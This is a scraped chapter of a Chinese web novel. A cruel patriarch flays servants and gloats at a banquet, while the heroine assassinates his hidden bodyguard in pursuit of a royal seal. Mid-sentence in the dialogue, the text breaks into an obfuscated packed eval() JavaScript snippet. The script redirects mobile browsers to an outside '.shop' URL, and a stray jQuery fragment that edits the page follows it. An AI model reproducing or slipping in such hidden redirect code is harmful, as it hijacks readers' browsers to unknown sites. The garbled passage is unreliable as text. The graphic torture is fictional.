文趣网 > 都市小说 > 靠武力值拐走路人男妈妈[快穿] > 21. 捡到一个半瞎乐师(二十一)^^……
    施定世心情奇好。

    这些年他年岁渐长,精力也渐渐地减退,每日大多时候总是有些犯晕犯乏。

    但今日他起得格外早,方一下榻,只觉得身体十分轻盈,下人端着热水进来伺候,笑道:“老爷今日红光满面,让小的们也沾了喜气。”

    施定世向来自诩豪迈,听罢便是几声大笑,更觉自己连笑起来都中气十足,自得道:“不是咱老头子不服老,与我年纪相当的那些老家伙,哪个不是黄土都埋到脖子去,整日蔫耷着,你看我与他们像一类人么?”

    “奴婢们那日还说呢,老爷宝刀未老,看起来正是壮年!若是咱们到老还有老爷精神的零头,便是老天保佑了!”那下人忙附和着。

    “你倒也是个机灵的,老夫便教教你。”施定世得意洋洋地给他传授秘籍,

    “这人呢,要知足常乐,没那些思虑,自然就老得慢了。

    你瞧瞧我,圣上器重,咱们施家就安安稳稳地给圣上办好事,不该要不该争的,咱就不看不想。

    那些老东西一个个人心不足蛇吞象,可不就相由心生,一个个嘴歪鼻子斜的?”

    另一个侍从跪地端着溺器,他慢悠悠泄了洪,说完剩下半句:“你们呢,也应知足常乐,才能活得久么。”

    “是,老爷对咱们极好,能在施家是小的们攒了几辈子的福气,还有什么不知足的呢……”那小厮正堆着笑,却被施定世打断了话。

    “既是知足,你偷拿走我的东西作甚?”

    他的话瞬间噎住,颤巍巍地抬头,老人的耷拉的眼藏在褶皱之间,望来的目光与看死人无异。

    小厮腿软得立刻跪下,抖着声音告饶:

    “老爷,老爷!小的也是实在没法子了,府上月钱几个月没下来,家里田地都给老爷抵了债,小人的老母与幼弟没了这月钱接济,实在活不下去,才,才鬼迷心窍,拿了老爷一条腰带……”

    “哦,你倒是有孝心。”施定世浑浊的眼珠一转,

    “老头子我几百条腰带,虽都是独一无二,你拿去的那条呢,也确实有些平庸了,拿便拿去吧。”

    那小厮一愣,没想到他向来狠辣,今日却要轻轻揭过,正喜形于色地准备磕头,却见老人踱了几步,皱眉道:“但缺了一根,这数目就不吉利了……”

    他似乎忽地想到个有趣主意,眼里冒出精光:“拿走一条补回一条,我这些衣带什么材质的都有,惟独正缺条人皮革带,便用你的皮来做吧!”

    小厮光是听了他的话,面色刹那煞白,哆嗦着身体,忽地不知哪来的气力,扑上去就要掐住施定世的脖颈,却又被守在旁的家兵猛地一拽。

    被拖出去时,他破罐破摔地大骂:“狗贼!若不是你这老匹夫当初把田都抢了去,把税抬得要人命,我们怎会被逼着给你施家为奴!不得好死——”他语速极快,愣是骂了一半才被家兵堵住嘴。

    屋里静得针落地可闻。

    施定世喜怒无常,上一秒没有半点家主架子如寻常老叟与人笑谈,下一秒便大开杀戒,是常有的事。

    拿人皮做物件是乌弥入关时拿长丰人取乐的喜好,施定世自打向乌弥投诚后,也沾染了这审美,府上专门有一间库存放他那些成品。

    那端着溺器的仆从本应见怪不怪,仍是忍不住地发抖,趁家主没有留意,沉默地退下。

    施定世则恍若没听见那些谩骂,张开双臂等人帮他穿上衣服,听管事汇报着夜宴的筹备情况。

    家主素来爱设宴,但这般将非年非节的宴席如此看重,连管事都没怎么见过,从应下请帖的各家名录到餐食之类,一应详细汇报。

    说到舞乐助兴时,他有几分犹豫。

    “老爷,真的只让徐先生一人奏乐么?”

    施定世又恢复那愉悦的模样,哈哈笑道:“自然!你还不信老头子的眼光?旁的人都难登大雅之堂,徐先生一出,那些乐啊舞的都得失色!”

    “不提徐先生还没想起来,回头得好好赏他。施定世甩了甩袖,一拍脑门子,

    “善奏乐也便罢了,这几日他为老夫调养身体,真是每日神清气爽,徐家这小门户也出了个才能之人啊。”

    他固然喜爱雅乐,但奏乐与医术,终归都是些不入流的事,昔日施家暗中渡江,初到新随,徐家对他们不冷不热,一副清高做派,如今不还得腆着脸送上族中子弟来做这些事情讨好?

    施定世格外喜欢这种当年大族要仰仗自己鼻息的优越感,如今谁见了他不得毕恭毕敬的?

    除了敛阳的那几家。

    一想到敛阳,他的脸色就阴沉了几分,却又很快哼笑出声。

    他给各家送的请帖都没提及所为何事设宴,唯独给敛阳快马特送了几份帖子,都是标明了的。

    一想到严卫两家的老东西读了之后面色该如何难看,他就几乎又要畅快出声。

    ……等我完成了大业。施定世踏出门槛,暗想,最先拿你两家开刀!

    管事送他离开,施定世余光一瞥,才随意地问起:“刚刚他说的月钱数月未发,可有此事?”

    那小厮控诉的时候管事也在,面色却无半点惊怒慌张,此时被问起,才不慌不忙地躬身:

    “咱们施家家业繁盛,又有老爷清正家风,怎么会做这些不仁之事?老爷向来待府上侍从宽厚,那人又爱赌,许是输尽了钱,忘了自己身份,编造出那些话来抹黑。”

    说罢又是数句赞叹家主英明的话语,施定世本也只是顺嘴一问,又最爱听这些,飘然地往院外而去。

    先去巡视一圈庄子里的地,再到城郊的后山去看一看自己那些武装精兵,回府小憩一番,醒来含饴弄孙。

    终于快到夜宴的时辰了,这位精力充沛的老叟开始换今日的第四套衣服。

    下人为他整理好衣摆躬身退下,施定世独自闲坐,等着宾客来齐后出面。

    火热了整日的头脑静下来,心里忽地打了个突。

    四下无人,他却说了话:“府上近来可有不对之处?”

    “回主子,并无。”屋中静谧,一道低哑的声音从上方不知何处传来。

    施定世放下心来。

    他如此招摇,却又不惮那些所谓长丰义士的报复,自然是有底气的。

    家兵是第一层,暗卫是第二层,而真正的底牌则藏于暗处,无人知晓,如影随形地保护他,施定世称呼为“暗影”。

    他相信暗影的实力与忠诚,听着便放下心来。

    就是今日暗影的声音比往常似乎低些。

    “老爷,各家的大人们都来了。”模糊的念头一闪而过,被门外侍从的声音打断。

    施定世顿时又抖擞起精神,腆着肚子得意地向宴厅迈步。

    至于那心突突,这说明他更有活力了啊!

    门口候着的侍从忙跟上,房内恢复静谧。

    一具尸体从天而降,砸落在地,掀起的风吹得灯影摇乱。

    暗红的血渗入地毯,看不分明。

    房梁上,乐锦冷眼看他哼着曲子走出去。

    她白天往施定世养兵的山上继续探查,返回时却听见处极偏僻的房屋里传来什么动静。

    循声从暗窗进去,是个施家仆从打扮的人,正独自被关着吊起来放血,眼看着放了一大缸。

    那仆从已是有出气没进气,乐锦听到的便是他口里无意识发出的喀喀声。

    她这几日在施家四处打转,自然认得那张脸,是贴身伺候施定世的近侍。

    乐锦问他:“敛阳王玺在哪?”

    那人却已经连人都认不清,他手脚都被绑着,用最后的气力从衣襟里叼出条染血的腰带,织锦华丽,堪比御用之物。

    “给我娘……”他含糊地说道,紧接着便断了气,那腰带也落入大缸中,被血吞没。

    乐锦在那浓烈的血腥前伫立,剑出鞘了几寸,又被她按回,最终掏出把短刃就往施定世的院子走。

    系统哆嗦着,快穿员绑定时都是读取过记忆的,自然知道此情此景勾起了她什么回忆,忙阻拦道:【我知道这老贼的变态和研究所差不多,但你冷静一下!你现在杀了他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629056|205249||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还怎么找玉玺啊!】

    【谁说我要现在杀他的?】乐锦冷静得很,在施家府邸中来去如无人之境,【不过他死期确实就在今日了。夜宴过后,王玺出不出现,我都会宰了他。】

    她衣袍翻飞,利落翻上施定世卧房的屋梁,足尖尚未落定,便早有预料般一抬手,挡住一击,另一手则瞬间又接了数招。

    乐锦自然知道施定世身边有人暗中随时防卫,之前来搜他身时,顾及着生机条,特意避开了正面冲突,不被其感察到,此次前来却是专门为着先杀了这暗影,上来时便刻意先露了气息。

    房梁狭窄,电光火石之间,二人无声地过了数招,皆是狠厉要害,要让他人瞧见,连残影都看不清,足下却都寸步未挪。

    彼时施定世正在更衣,却对头顶的事情全然不知。

    施定世敢只放一个人在暗处守着,此人自然非寻常精兵猛将可比。

    胶着了一炷香的功夫,乐锦方将他杀了,却也因动用了过多力量,生机条顿时又短一大截。

    她眼前一黑,就地蹲着等这阵劲过去,前厅隐约传来琵琶声,夜宴已然开席。

    乐锦面色恢复如常,影一般融于暗处,无声息地掠向那铺张奢华之地。

    ---

    一连数曲结束,莲抱琴起身,向上位见礼。

    他微微躬身时行云流水,脊梁仍是挺拔的,自有清风傲骨。

    施定世就喜欢他这副宁折不弯的清高模样,率先大笑抚掌:“诸君看我这位新来的幕僚如何啊?”

    宾客随主,自然是纷纷举杯,赞奏乐者俊朗善奏,施家主意趣高雅。

    几杯酒下肚,宴上氛围渐浓,有人闲道:“施家主是遇了什么喜事,这非年非节的,设了如此盛宴啊?”

    “谁说非年非节了?”施定世方才东拉西扯,眼皮都又耷拉了几分,此时一下子激昂起来,仿佛正等着人问这句话。

    那宾客见他没了下文,一副要让他猜的模样,长丰与乌弥的传统节庆几乎猜了一圈,最终汗颜道:“还望施家主解惑啊。”

    施定世欻地起身:“十五年前的今日,你可记得?”

    他眼底亮得吓人,几乎有几分疯狂:“十五年前的今日,敛阳王那狗崽子……哈哈哈……被割了脑袋!”

    我施家的腾达之日!

    他没有明说,周围人却都明白言下之意。宾客们一时不知怎么回应,擦汗的擦汗,打岔的打岔。

    施定世却不管他们如何作想,自顾自地开始讲述当初如何明智地找上了当今圣上,如何虐杀了敛阳王的族人,将他们的皮剥下做成鼓,呈给圣上。

    宾客们既有乌弥官员,也有些本地和周边郡县的长丰世族。乌弥人纷纷听得兴趣浓厚,长丰的几个家主却纷纷有些咬牙。

    世族哪个没几分骨气?面子上迫于形势捧着施家,明哲保身是一回事,但敛阳王所为毕竟是为了复国,眼看着这人折辱到这份上,谁又能就如此理所当然地同他玩笑,俯首帖耳?

    今日赴宴的毕竟都是利益与施家绑死的几家,有一人欲称病告退,起了一半的身,又被旁的按住,终究只是无人再附和捧场。

    气氛死一般的凝滞,惟有施定世自言自语般的碎碎念与不间断的琵琶音,弹的都是长丰古曲,一时显现出几分诡异。

    终于,那兴奋的老人好似后知后觉地意识到氛围不对,止了唾沫横飞,笑着调侃:“你们怎地还没我这个老头子有精神?”

    客位立刻有人拱手称施家主老当益壮,试图将话题引向他处。

    施定世转头招呼起来:“去,把那块玉拿过来,让大伙把玩把玩,助助兴。”

    侍从们垂首不动,唯独一名侍女出列。

    琴音不知何时停了下来。

    隐约有一阵微风从高处吹来,不知来源,隐在灯火映照不到的昏暗之中。

    寂静之中,那侍女迈着碎步走向厅外,却在一脚迈出门槛时被叫住。

    “不不不。”施定世一拍大腿,“差点忘了,今日这玉玺不能给你们看。”